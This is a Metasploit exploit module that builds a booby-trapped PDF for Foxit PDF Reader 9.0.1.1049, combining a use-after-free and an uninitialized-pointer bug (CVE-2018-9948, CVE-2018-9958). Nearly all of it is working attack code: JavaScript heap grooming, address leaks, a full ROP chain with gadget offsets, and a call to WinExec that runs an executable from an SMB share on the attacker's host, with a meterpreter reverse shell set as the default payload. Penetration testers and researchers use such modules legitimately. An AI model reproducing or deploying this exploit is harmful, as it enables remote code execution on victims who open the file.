##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info={})
super(update_info(info,
'Name' => 'Foxit PDF Reader Pointer Overwrite UAF',
'Description' => %q{
Foxit PDF Reader v9.0.1.1049 has a Use-After-Free vulnerability
in the Text Annotations component and the TypedArray's use
uninitialized pointers.
The vulnerabilities can be combined to leak a vtable memory address,
which can be adjusted to point to the base address of the executable.
A ROP chain can be constructed that will execute when Foxit Reader
performs the UAF.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me', # Use-after-free and PoC
'bit from meepwn', # Uninitialized pointer
'saelo', # JavaScript Garbage Collector
'Jacob Robles' # Metasploit Module
],
'References' =>
[
['CVE', '2018-9948'],
['CVE', '2018-9958'],
['ZDI', '18-332'],
['ZDI', '18-342'],
['URL', 'https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html'],
['URL', 'https://srcincite.io/pocs/cve-2018-9958.pdf.txt']
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => true,
'FILENAME' => 'test.pdf',
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
},
'Platform' => 'win',
'Targets' =>
[
['Windows 10 Pro x64 Build 17134', {}]
],
'DisclosureDate' => 'Apr 20 2018',
'DefaultTarget' => 0))
register_options([
OptString.new('EXENAME', [false, 'EXE file to download', '']),
OptString.new('SHARE', [false, 'SMB share hosting exe', ''])
])
end
def pdfdoc
share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}" : datastore['SHARE']
fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME']
fname << '.exe' unless fname.ends_with?('.exe')
share_path = "\\\\#{datastore['LHOST']}\\#{share}\\#{fname}"
num = 4 - (share_path.length % 4)
share_path << "\x00"*num
return nil if share_path.length > 44
print_status("share_path: #{share_path}")
rop = ''
max_index = 0
share_path.unpack('V*').each_with_index {|blk, index|
rop << "\nrop[0x%02x] = 0x%08x" % [index+12, blk]
max_index = index
}
(max_index+1).upto(10) {|i| rop << "\nrop[0x%02x] = 0x00000000" % (i+12)}
<<~PDFDOC
%PDF
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (
var heap_ptr = 0;
var foxit_base = 0;
var pwn_array = [];
function prepare_heap(size){
var arr = new Array(size);
for(var i = 0; i < size; i++){
arr[i] = this.addAnnot({type: "Text"});;
if (typeof arr[i] == "object"){
arr[i].destroy();
}
}
}
function gc() {
const maxMallocBytes = 128 * 0x100000;
for (var i = 0; i < 3; i++) {
var x = new ArrayBuffer(maxMallocBytes);
}
}
function alloc_at_leak(){
for (var i = 0; i < 0x64; i++){
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
}
}
function control_memory(){
for (var i = 0; i < 0x64; i++){
for (var j = 0; j < pwn_array[i].length; j++){
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
}
}
}
function leak_vtable(){
var a = this.addAnnot({type: "Text"});
a.destroy();
gc();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
var leaked = stolen[0] & 0xffff0000;
foxit_base = leaked - 0x01f50000;
}
function leak_heap_chunk(){
var a = this.addAnnot({type: "Text"});
a.destroy();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
alloc_at_leak();
heap_ptr = stolen[1];
}
function reclaim(){
var arr = new Array(0x10);
for (var i = 0; i < arr.length; i++) {
arr[i] = new ArrayBuffer(0x60);
var rop = new Int32Array(arr[i]);
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
rop[0x02] = 0x72727272; // junk
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
rop[0x04] = 0xffffffff; // ret of WinExec
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
#{rop}
rop[0x17] = 0x00000000; // adios, amigo
}
}
function trigger_uaf(){
var that = this;
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
var arr = [1];
Object.defineProperties(arr,{
"0":{
get: function () {
that.getAnnot(0, "uaf").destroy();
reclaim();
return 1;
}
}
});
a.point = arr;
}
function main(){
leak_heap_chunk();
leak_vtable();
control_memory();
trigger_uaf();
}
if (app.platform == "WIN"){
if (app.isFoxit == "Foxit Reader"){
if (app.appFoxitVersion == "9.0.1.1049"){
main();
}
}
}
)>> trailer <</Root 1 0 R>>
PDFDOC
end
def exploit
mypdf = pdfdoc
if mypdf.nil?
fail_with(Failure::BadConfig, 'The generated share path was greater than 44 bytes.')
end
file_create(mypdf)
end
end
